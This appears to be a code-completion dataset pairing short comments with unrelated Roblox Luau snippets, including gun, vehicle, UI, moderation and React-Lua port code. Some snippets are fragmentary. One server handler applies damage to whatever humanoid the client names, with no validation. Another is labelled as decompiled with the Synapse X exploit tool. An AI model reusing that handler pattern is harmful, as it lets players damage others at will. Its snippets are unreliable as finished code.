prompt
stringlengths 2
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stringlengths 1
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|
---|---|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p)
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.X and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(0.5)
Track2:Stop()
plr.Character.HumanoidRootPart.Anchored = false
local hum = plr.Character.Humanoid
for i = 1,35 do
wait()
hum.CameraOffset = Vector3.new(math.random(-0.5,0.5),math.random(-0.5,0.5),math.random(-0.5,0.5))
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(3)
Debounce = 1
end
end)
|
---------------
--| Utility |--
---------------
|
local math_min = math.min
local math_max = math.max
local math_cos = math.cos
local math_sin = math.sin
local math_pi = math.pi
local Vector3_new = Vector3.new
local function AssertTypes(param, ...)
local allowedTypes = {}
local typeString = ''
for _, typeName in pairs({...}) do
allowedTypes[typeName] = true
typeString = typeString .. (typeString == '' and '' or ' or ') .. typeName
end
local theType = type(param)
assert(allowedTypes[theType], typeString .. " type expected, got: " .. theType)
end
|
--[[**
Schedules a function to be executed after DelayTime seconds have passed, without yielding the current thread. This function allows multiple Lua threads to be executed in parallel from the same stack. Unlike regular delay, this does not use the legacy scheduler and also allows passing arguments.
@param [t:numberMin<0>] DelayTime The amount of time before the function will be executed.
@param [t:callback] Function The function you are executing.
@param [variant] ... The optional arguments you can pass that the function will execute with.
@returns [void]
**--]]
|
function Scheduler.Delay(DelayTime, Function, ...)
assert(DelayTuple(DelayTime, Function))
local Length = select("#", ...)
if Length > 0 then
local Arguments = {...}
local ExecuteTime = tick() + DelayTime
local Connection
Connection = Heartbeat:Connect(function()
if tick() >= ExecuteTime then
Connection:Disconnect()
Function(table.unpack(Arguments, 1, Length))
end
end)
return Connection
else
local ExecuteTime = tick() + DelayTime
local Connection
Connection = Heartbeat:Connect(function()
if tick() >= ExecuteTime then
Connection:Disconnect()
Function()
end
end)
return Connection
end
end
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
Auto = true;
MuzzleOffset = Vector3.new(0, 0.625, 1.25);
BaseDamage = 40;
FireRate = 0.08; --In second
ReloadTime = 2; --In second
AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload
Spread = 1.25; --In degree
HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
HeadshotDamageMultiplier = 1.5;
MouseIconID = "316279304";
HitSoundIDs = {186809061,186809249,186809250,186809252};
IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
IdleAnimationSpeed = 1;
FireAnimationID = 94332152; --Set to "nil" if you don't want to animate
FireAnimationSpeed = 6;
ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
ReloadAnimationSpeed = 1;
|
--== Helper functions ==--
|
function StartCar()
wait(delayToStartEngine)
script.Parent.IsOn.Value = true
wait(delayToStopStartupSound)
end
function StopCar()
script.Parent.IsOn.Value = false
end
|
--[[
Races a set of Promises and returns the first one that resolves,
cancelling the others.
]]
|
function Promise.race(promises)
assert(type(promises) == "table", "Please pass a list of promises to Promise.race")
for i, promise in ipairs(promises) do
assert(Promise.is(promise), ("Non-promise value passed into Promise.race at index #%d"):format(i))
end
return Promise.new(function(resolve, reject, onCancel)
local function finalize(callback)
return function (...)
for _, promise in ipairs(promises) do
promise:cancel()
end
return callback(...)
end
end
onCancel(finalize(reject))
for _, promise in ipairs(promises) do
promise:andThen(finalize(resolve), finalize(reject))
end
end)
end
|
-- Wait for the player if LocalPlayer wasn't ready earlier
|
while not Player do
wait()
Player = PlayersService.LocalPlayer
end
|
-- ROBLOX: use patched console from shared
|
local console = require(Packages.Shared).console
local ReactSymbols = require(Packages.Shared).ReactSymbols
local isValidElementType = require(Packages.Shared).isValidElementType
local exports = {}
exports.typeOf = function(object: any)
if typeof(object) == "table" and object ~= nil then
local __typeof = object["$$typeof"]
if __typeof == ReactSymbols.REACT_ELEMENT_TYPE then
local __type = object.type
if
__type == ReactSymbols.REACT_FRAGMENT_TYPE
or __type == ReactSymbols.REACT_PROFILER_TYPE
or __type == ReactSymbols.REACT_STRICT_MODE_TYPE
or __type == ReactSymbols.REACT_SUSPENSE_TYPE
or __type == ReactSymbols.REACT_SUSPENSE_LIST_TYPE
then
return __type
else
-- deviation: We need to check that __type is a table before we
-- index into it, or Luau will throw errors
local __typeofType = __type
and typeof(__type) == "table"
and __type["$$typeof"]
if
__typeofType == ReactSymbols.REACT_CONTEXT_TYPE
or __typeofType == ReactSymbols.REACT_FORWARD_REF_TYPE
or __typeofType == ReactSymbols.REACT_LAZY_TYPE
or __typeofType == ReactSymbols.REACT_MEMO_TYPE
or __typeofType == ReactSymbols.REACT_PROVIDER_TYPE
then
return __typeofType
else
return __typeof
end
end
elseif
__typeof == ReactSymbols.REACT_PORTAL_TYPE
-- ROBLOX deviation: Bindings are a feature migrated from Roact
or __typeof == ReactSymbols.REACT_BINDING_TYPE
then
return __typeof
end
end
return nil
end
exports.ContextConsumer = ReactSymbols.REACT_CONTEXT_TYPE
exports.ContextProvider = ReactSymbols.REACT_PROVIDER_TYPE
exports.Element = ReactSymbols.REACT_ELEMENT_TYPE
exports.ForwardRef = ReactSymbols.REACT_FORWARD_REF_TYPE
exports.Fragment = ReactSymbols.REACT_FRAGMENT_TYPE
exports.Lazy = ReactSymbols.REACT_LAZY_TYPE
exports.Memo = ReactSymbols.REACT_MEMO_TYPE
exports.Portal = ReactSymbols.REACT_PORTAL_TYPE
exports.Profiler = ReactSymbols.REACT_PROFILER_TYPE
exports.StrictMode = ReactSymbols.REACT_STRICT_MODE_TYPE
exports.Suspense = ReactSymbols.REACT_SUSPENSE_TYPE
exports.Binding = ReactSymbols.REACT_BINDING_TYPE
exports.isValidElementType = isValidElementType
local hasWarnedAboutDeprecatedIsAsyncMode = false
local hasWarnedAboutDeprecatedIsConcurrentMode = false -- AsyncMode should be deprecated
exports.isAsyncMode = function(object: any)
if _G.__DEV__ then
if not hasWarnedAboutDeprecatedIsAsyncMode then
hasWarnedAboutDeprecatedIsAsyncMode = true
-- Using console['warn'] to evade Babel and ESLint
console["warn"](
"The ReactIs.isAsyncMode() alias has been deprecated, "
.. "and will be removed in React 18+."
)
end
end
return false
end
exports.isConcurrentMode = function(object: any)
if _G.__DEV__ then
if not hasWarnedAboutDeprecatedIsConcurrentMode then
hasWarnedAboutDeprecatedIsConcurrentMode = true
-- Using console['warn'] to evade Babel and ESLint
console["warn"](
"The ReactIs.isConcurrentMode() alias has been deprecated, "
.. "and will be removed in React 18+."
)
end
end
return false
end
exports.isContextConsumer = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_CONTEXT_TYPE
end
exports.isContextProvider = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_PROVIDER_TYPE
end
exports.isElement = function(object: any)
return (
(typeof(object) == "table" and object ~= nil)
and object["$$typeof"] == ReactSymbols.REACT_ELEMENT_TYPE
)
end
exports.isForwardRef = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_FORWARD_REF_TYPE
end
exports.isFragment = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_FRAGMENT_TYPE
end
exports.isLazy = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_LAZY_TYPE
end
exports.isMemo = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_MEMO_TYPE
end
exports.isPortal = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_PORTAL_TYPE
end
exports.isProfiler = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_PROFILER_TYPE
end
exports.isStrictMode = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_STRICT_MODE_TYPE
end
exports.isSuspense = function(object: any)
return exports.typeOf(object) == ReactSymbols.REACT_SUSPENSE_TYPE
end
|
------------------------------------------------------------------------------------------
-- менятель размера Canvas от содержимого
-- смена размера
|
local function UpdateSize()
wait()--Ui list layouts can sometimes take time to update
local cS = ui.AbsoluteContentSize --X = x pixels, Y = Y pixels
sf.CanvasSize = UDim2.new(0,cS.X,0,cS.Y) --Change that UDim into a UDim2
end
|
--this returns a region3 that lines up on top of the baseplate to capture
--whatever room has been constructed on top of it, it is smart enough
--to capture a room that has been less-than-ideally set up
|
function RoomPackager:RegionsFromBasePlate(basePlate)
local topCorners = self:TopCornersOfBasePlate(basePlate)
--we farm the min and max x's and z's from the top corners
--to get x and z coordinates for the region3 that will contain the room
--we choose an arbitrary corner so that the initial values are in the data set
local arbitraryCorner = topCorners[1]
local minX = arbitraryCorner.X
local minZ = arbitraryCorner.Z
local maxX = arbitraryCorner.X
local maxZ = arbitraryCorner.Z
for _, corner in pairs(topCorners) do
minX = math.min(minX, corner.X)
minZ = math.min(minZ, corner.Z)
maxX = math.max(maxX, corner.X)
maxZ = math.max(maxZ, corner.Z)
end
--construct the region using these new corners we have constructed
--keeping in mind that all corners in topCorners *should* have the same y value
local minY = topCorners[1].Y
local lowerCorner = Vector3.new(minX, minY, minZ)
local maxY = minY + 70
local upperCorner = Vector3.new(maxX, maxY, maxZ)
local segmentHeight = math.floor(100000/(math.abs(maxX-minX)*math.abs(maxZ-minZ)))
local regions = {}
local currentHeight = minY
while currentHeight - minY < 70 do
currentHeight = currentHeight + segmentHeight
lowerCorner = Vector3.new(lowerCorner.x, currentHeight - segmentHeight, lowerCorner.z)
upperCorner = Vector3.new(upperCorner.x, currentHeight, upperCorner.z)
table.insert(regions, Region3.new(lowerCorner, upperCorner))
end
return regions
end
|
--for halloween candy
|
local yum = script:WaitForChild("Yum")
yum.Parent = script.Parent
debounce = false
function touched(hit)
if not debounce and hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then
local player = game.Players:GetPlayerFromCharacter(hit.Parent)
if player then
debounce = true
if player.Character:FindFirstChild("Bucket") then
local bucket = player.Character.Bucket
delay(.2,function()
player.Character.Humanoid:EquipTool(bucket)
end)
end
script.Parent.Parent.Parent = player.Backpack
wait(2)
debounce = false
end
end
end
script.Parent.Touched:connect(touched)
function Activated()
yum:Play()
wait(.1)
script.Parent.Parent:Destroy()
end
script.Parent.Parent.Activated:connect(Activated)
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -9
Tune.RCamber = -3
Tune.FCaster = 0
Tune.FToe = 0
Tune.RToe = 0
|
-- @outline // RUNNERS
|
function Controller.ClientUpdate(dt : number)
if not Controller.Enabled then return end
--Controller:Update(dt)
end
return Controller
|
-- deviation: this lets us have the same functionality as in React, without
-- having something like Babel to inject a different implementation of
-- console.warn and console.error into the code
-- Instead of using `LuauPolyfill.console`, React internals should use this
-- wrapper to be able to use consoleWithStackDev in dev mode
|
local Shared = script.Parent
local Packages = Shared.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
local console = LuauPolyfill.console
local consoleWithStackDev = require(Shared.consoleWithStackDev)
if _G.__DEV__ then
local newConsole = setmetatable({
warn = consoleWithStackDev.warn,
error = consoleWithStackDev.error,
}, {
__index = console,
})
return newConsole
end
return console
|
-- ProductId 1218011291 for 100 Cash
|
developerProductFunctions[Config.DeveloperProductIds["100 Cash"]] = function(receipt, player)
-- Logic/code for player buying 100 Cash (may vary)
local leaderstats = player:FindFirstChild("leaderstats")
local cash = leaderstats and leaderstats:FindFirstChild("Cash")
if cash then
if Utilities:OwnsGamepass(player, gamepassID) then
cash.Value += 200
else
cash.Value += 100
end
-- Indicate a successful purchase
return true
end
end
|
-- gets the index of the constant
|
function luaP:INDEXK(x) return x - self.BITRK end
luaP.MAXINDEXRK = luaP.BITRK - 1
|
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = {};
local l__Message__2 = u1.GUI.Message;
local u3 = {};
local u4 = false;
function v1.New(p1, ...)
local v2 = { ... };
if u1.Variables.MessageOpen == true or u1.Variables.OpeningEgg == true then
while true do
u1.RenderStepped();
if u1.Variables.MessageOpen == false and u1.Variables.OpeningEgg == false then
break;
end;
end;
end;
local v3 = false;
if v2[1] == nil then
v3 = v2[2] == nil;
end;
local v4 = false;
if type(v2[1]) == "boolean" then
v4 = v2[2] == nil;
end;
l__Message__2.No.Visible = false;
l__Message__2.Ok.Visible = false;
l__Message__2.Yes.Visible = false;
l__Message__2.Cancel.Visible = false;
l__Message__2.Option1.Visible = false;
l__Message__2.Option2.Visible = false;
l__Message__2.Desc.Text = p1;
if not v3 then
if v4 then
l__Message__2.No.Visible = true;
l__Message__2.Yes.Visible = true;
elseif v2[1] and v2[2] then
l__Message__2.Option1.Title.Text = v2[1];
l__Message__2.Option2.Title.Text = v2[2];
l__Message__2.Cancel.Visible = true;
l__Message__2.Option1.Visible = true;
l__Message__2.Option2.Visible = true;
end;
else
l__Message__2.Ok.Visible = true;
end;
local v5 = Instance.new("BindableEvent");
if l__Message__2.No.Visible then
local function u5()
Close();
v5:Fire(false);
end;
u3[#u3 + 1] = l__Message__2.No.Activated:Connect(function()
if u4 == false then
u4 = true;
u5();
u4 = false;
end;
end);
end;
if l__Message__2.Yes.Visible then
local function u6()
Close();
v5:Fire(true);
end;
u3[#u3 + 1] = l__Message__2.Yes.Activated:Connect(function()
if u4 == false then
u4 = true;
u6();
u4 = false;
end;
end);
end;
if l__Message__2.Ok.Visible then
local function u7()
Close();
v5:Fire(true);
end;
u3[#u3 + 1] = l__Message__2.Ok.Activated:Connect(function()
if u4 == false then
u4 = true;
u7();
u4 = false;
end;
end);
end;
if l__Message__2.Option1.Visible then
local function u8()
Close();
v5:Fire(1);
end;
u3[#u3 + 1] = l__Message__2.Option1.Activated:Connect(function()
if u4 == false then
u4 = true;
u8();
u4 = false;
end;
end);
end;
if l__Message__2.Option2.Visible then
local function u9()
Close();
v5:Fire(2);
end;
u3[#u3 + 1] = l__Message__2.Option2.Activated:Connect(function()
if u4 == false then
u4 = true;
u9();
u4 = false;
end;
end);
end;
if l__Message__2.Cancel.Visible then
local function u10()
Close();
v5:Fire(false);
end;
u3[#u3 + 1] = l__Message__2.Cancel.Activated:Connect(function()
if u4 == false then
u4 = true;
u10();
u4 = false;
end;
end);
end;
if u1.Variables.Console then
if l__Message__2.Ok.Visible then
u1.GuiService.SelectedObject = l__Message__2.Ok;
elseif l__Message__2.Yes.Visible then
u1.GuiService.SelectedObject = l__Message__2.Yes;
elseif l__Message__2.Option1.Visible then
u1.GuiService.SelectedObject = l__Message__2.Option1;
end;
local u11 = false;
u3[#u3 + 1] = u1.UserInputService.InputEnded:Connect(function(p2, p3)
if not u11 then
u11 = true;
if p2.KeyCode == Enum.KeyCode.ButtonB then
Close();
end;
u11 = false;
end;
end);
end;
Open();
local v6 = v5.Event:Wait();
v5:Destroy();
return v6;
end;
function v1.IsOpen()
return l__Message__2.Gui.Enabled;
end;
function Close()
for v7, v8 in ipairs(u3) do
if v7 then
else
break;
end;
v8:Disconnect();
end;
u3 = {};
u1.Window.GuaranteeCloseCurrentWindow("Message")
u1.Variables.MessageOpen = false;
end;
function Open()
u1.Window.GuaranteeOpenWindow("Message")
u1.Variables.MessageOpen = true;
end;
for v13, v14 in pairs(l__Message__2.Frame:GetChildren()) do
if not v13 then
break;
end;
v12 = v13;
if v14.ClassName == "ImageButton" then
u1.GFX.Button(v14);
end;
end;
return v1;
|
--!strict
|
local function run(LightChanger, reverse)
local lights = LightChanger:GetLights("Numbered")
for groupNumber, lightGroup in lights do
local angle = if groupNumber % 2 == 0 then 60 else 30
if reverse then
if angle == 60 then
angle = 30
else
angle = 60
end
end
LightChanger:Tilt(angle, lightGroup)
end
end
return function(LightChangerA, LightChangerB, reverse: boolean)
run(LightChangerA, reverse)
run(LightChangerB, reverse)
end
|
-- these numbers are how long it takes to switch. the numbers are in 1.4 seconds(IE: 6 = 1 1/2 seconds)
|
switch1 = 1
switch2 = 1
switch3 = 1
switch4 = 1
switch5 = 1
switch6 = 1
script.Parent.Parent.Character.Humanoid.WalkSpeed = start
while true do
x = script.Parent.Parent.Character.Torso.Position
wait(.25)
if script.Parent.Parent.PlayerGui.Bars.Charging.Value == false then
x = (script.Parent.Parent.Character.Torso.Position - x).Magnitude
if x < 1 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = start
up1 = 0
up2 = 0
up3 = 0
up4 = 0
print("To normal")
end
if x >= 3 then
ch = math.random(1, 5)
if ch == 1 then
script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 50
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == start then
up1 = up1 + 1
if up1 == switch1 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage1
up1 = 0
print("Speed Up")
end
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage1 then
up2 = up2 + 1
if up2 == switch2 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage2
up2 = 0
print("Speed Up")
end
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage2 then
up3 = up3 + 1
if up3 == switch3 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage3
up3 = 0
print("Speed Up")
end
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage3 then
up4 = up4 + 1
if up4 == switch4 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage4
up4 = 0
print("Speed Up")
end
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage4 then
up5 = up5 + 1
if up5 == switch5 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage5
up5 = 0
print("Speed Up")
end
end
if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage5 then
up6 = up6 + 1
if up6 == switch6 then
script.Parent.Parent.Character.Humanoid.WalkSpeed = stage6
cha = math.random(1, 3)
if cha == 1 then
script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 16
else
script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 5
end
up6 = 0
print("Speed Up")
end
end
end
end
end
|
-- 12
|
module.Genres.Building = 13
module.Genres.FPS = 14
module.Genres.RPG = 15
module.SortAggregation = {}
module.SortAggregation.PastDay = 1
|
---------------------------------------------------
|
This = script.Parent
Lift = This.Parent.Parent.Parent
CustomLabel = require(Lift.CustomLabel)
Characters = require(script.Characters)
CharactersDOT = require(script.CharactersDOT)
CustomText = CustomLabel["CUSTOMFLOORLABEL"]
Lift:WaitForChild("Floor").Changed:connect(function(floor)
--custom indicator code--
ChangeFloor(tostring(floor))
end)
function ChangeFloor(SF)
if CustomText[tonumber(SF)] then
SF = CustomText[tonumber(SF)]
end
SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))
end
function SetDisplay(ID,CHAR)
if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
for r=1,15 do
This.Display["DIG"..ID]["D"..r].BrickColor = BrickColor.new(l:sub(r,r) == "1" and "Pastel Blue" or "Black")
end
end
end
end
function SetDisplayDOT(ID,CHAR)
if This.Display:FindFirstChild("Matrix"..ID) and CharactersDOT[CHAR] ~= nil then
for i,l in pairs(CharactersDOT[CHAR]) do
for r=1,7 do
This.Display["Matrix"..ID]["Row"..i]["D"..r].BrickColor = BrickColor.new(l:sub(r,r) == "1" and "Persimmon" or "Black")
end
end
end
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 95 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 8000 -- Use sliders to manipulate values
Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 6100
Tune.PeakSharpness = 3.8
Tune.CurveMult = 0.07
--Incline Compensation
Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 450 -- RPM acceleration when clutch is off
Tune.RevDecay = 150 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
-- Check if input is of correct types
|
function Input:_isMovement (input)
return --input.UserInputType == Enum.UserInputType.Touch or
input.UserInputType == Enum.UserInputType.MouseMovement;
end
function Input:_isDown (input)
return input.UserInputType == Enum.UserInputType.MouseButton1 or
input.UserInputType == Enum.UserInputType.Touch;
end
Input.__index = Input;
return I;
|
-- Connect to the current and all future cameras
|
workspace.Changed:connect(OnWorkspaceChanged)
OnWorkspaceChanged('CurrentCamera')
Player.CharacterAdded:connect(OnCharacterAdded)
if Player.Character then
OnCharacterAdded(Player.Character)
end
Invisicam:SetMode(STARTING_MODE)
Behaviors[MODE.CUSTOM] = function() end -- (Does nothing until SetCustomBehavior)
Behaviors[MODE.LIMBS] = LimbBehavior
Behaviors[MODE.MOVEMENT] = MoveBehavior
Behaviors[MODE.CORNERS] = CornerBehavior
Behaviors[MODE.CIRCLE1] = CircleBehavior
Behaviors[MODE.CIRCLE2] = CircleBehavior
Behaviors[MODE.LIMBMOVE] = LimbMoveBehavior
return Invisicam
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
UserInputService = game:GetService("UserInputService")
Animations = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
Rate = (1 / 60)
ToolEquipped = false
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop(value.FadeTime)
table.remove(Animations, i)
end
end
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
end
function Unequipped()
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
Animations = {}
ToolEquipped = false
end
function InvokeServer(mode, value)
local ServerReturn
pcall(function()
ServerReturn = ServerControl:InvokeServer(mode, value)
end)
return ServerReturn
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "MouseData" then
return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- don't do nothin
|
end)
gui.Frame.BanButton.Activated:connect(function()
if requesting then return end
requesting = true
local result = rep.Events.ModAction:InvokeServer("ban",gui.Frame.InputBox.Text)
if result then
gui.Frame.Actions.Text = "Successfully banned "..gui.Frame.InputBox.Text
else
gui.Frame.Actions.Text = "Error, user not found"
end
gui.Frame.InputBox.Text = ""
requesting = false
end)
gui.Frame.UnbanButton.Activated:connect(function()
if requesting then return end
requesting = true
local result = rep.Events.ModAction:InvokeServer("unban",gui.Frame.InputBox.Text)
if result then
gui.Frame.Actions.Text = "Successfully unbanned "..gui.Frame.InputBox.Text
else
gui.Frame.Actions.Text = "Error, user not found"
end
gui.Frame.InputBox.Text = ""
requesting = false
end)
gui.Frame.ExitButton.Activated:connect(function()
gui.Frame.Visible = false
end)
gui.OpenButton.Activated:connect(function()
gui.Frame.Visible = not gui.Frame.Visible
end)
rep.Events.PromptModConsole.OnClientEvent:connect(function()
player.PlayerGui.ModConsole.Enabled = true
end)
gui.Frame.F9LogButton.Activated:connect(function()
gui.Frame.Actions.Text = "Success, press F9 or access the dev console to view the mod log"
local log = rep.Events.RequestModLog:InvokeServer()
for _,entry in next,log do
--[[
timeBanned = tick(),
bannedName = targetName,
bannedID = targetID,
reason = "",
--]]
local temp = os.date("*t", entry.timeBanned)
print(entry.action,entry.bannedName,"(id "..entry.bannedID..")","for reason:",entry.reason,"on",temp.month.."/"..temp.day.."/"..temp.year)
end
end)
|
--local Player
--local Character
--local Humanoid
|
local Module = require(Tool:WaitForChild("Setting"))
local ChangeMagAndAmmo = script:WaitForChild("ChangeMagAndAmmo")
local Grip2
local Handle2
local CoolDown = false
local func= Tool.Events.punched
function CoolDown2()
wait(0.01)
CoolDown = false
end
func.OnServerInvoke = function(plr, hum, dmg, tor)
if not CoolDown then
CoolDown = true
Tool.Handle.Whip:Play()
Tool.Assets.BloodPart.Blood:Emit(1.3)
hum.Parent.Humanoid:TakeDamage(15)
CoolDown2()
end
end
function Equip()
Tool.Barrel.Transparency = 1
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 0
Tool.Part2.Transparency = 1
Tool.Part3.Transparency = 1
Tool.Part24.Transparency = 1
Tool.Part6.Transparency = 1
Tool.Part4.Transparency = 1
Tool.Part2.Transparency = 1
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 1
wait(0.2)
Tool.Barrel.Transparency = 0
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 0
Tool.Part2.Transparency = 0
Tool.Part3.Transparency = 0
Tool.Part24.Transparency = 0
Tool.Part6.Transparency = 0
Tool.Part4.Transparency = 0
Tool.Part2.Transparency = 0
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 0
wait(0.42)
Tool.Handle.EquipSound:play()
end
if Module.DualEnabled then
Handle2 = Tool:WaitForChild("Handle2",1)
if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end
end
local MagValue = script:FindFirstChild("Mag") or Instance.new("NumberValue",script)
MagValue.Name = "Mag"
MagValue.Value = Module.AmmoPerMag
local AmmoValue = script:FindFirstChild("Ammo") or Instance.new("NumberValue",script)
AmmoValue.Name = "Ammo"
AmmoValue.Value = Module.LimitedAmmoEnabled and Module.Ammo or 0
if Module.IdleAnimationID ~= nil or Module.DualEnabled then
local IdleAnim = Instance.new("Animation",Tool)
IdleAnim.Name = "IdleAnim"
IdleAnim.AnimationId = "rbxassetid://"..(Module.DualEnabled and 53610688 or Module.IdleAnimationID)
end
if Module.FireAnimationID ~= nil then
local FireAnim = Instance.new("Animation",Tool)
FireAnim.Name = "FireAnim"
FireAnim.AnimationId = "rbxassetid://"..Module.FireAnimationID
end
if Module.ReloadAnimationID ~= nil then
local ReloadAnim = Instance.new("Animation",Tool)
ReloadAnim.Name = "ReloadAnim"
ReloadAnim.AnimationId = "rbxassetid://"..Module.ReloadAnimationID
end
if Module.ShotgunClipinAnimationID ~= nil then
local ShotgunClipinAnim = Instance.new("Animation",Tool)
ShotgunClipinAnim.Name = "ShotgunClipinAnim"
ShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.ShotgunClipinAnimationID
end
if Module.HoldDownAnimationID ~= nil then
local HoldDownAnim = Instance.new("Animation",Tool)
HoldDownAnim.Name = "HoldDownAnim"
HoldDownAnim.AnimationId = "rbxassetid://"..Module.HoldDownAnimationID
end
if Module.EquippedAnimationID ~= nil then
local EquippedAnim = Instance.new("Animation",Tool)
EquippedAnim.Name = "EquippedAnim"
EquippedAnim.AnimationId = "rbxassetid://"..Module.EquippedAnimationID
end
ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo)
MagValue.Value = Mag
AmmoValue.Value = Ammo
end)
Tool.Equipped:connect(function()
Equip()
--Player = game.Players:GetPlayerFromCharacter(Tool.Parent)
--Character = Tool.Parent
--Humanoid = Character:FindFirstChild("Humanoid")
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = false
local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand")
local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand")
if RightArm then
local Grip = RightArm:WaitForChild("RightGrip",0.01)
if Grip then
Grip2 = Grip:Clone()
Grip2.Name = "LeftGrip"
Grip2.Part0 = LeftArm
Grip2.Part1 = Handle2
--Grip2.C1 = Grip2.C1:inverse()
Grip2.Parent = LeftArm
end
end
end
end)
Tool.Unequipped:connect(function()
Tool.Barrel.Transparency = 1
Tool.BarrelOut.Transparency = 1
Tool.Handle.Transparency = 1
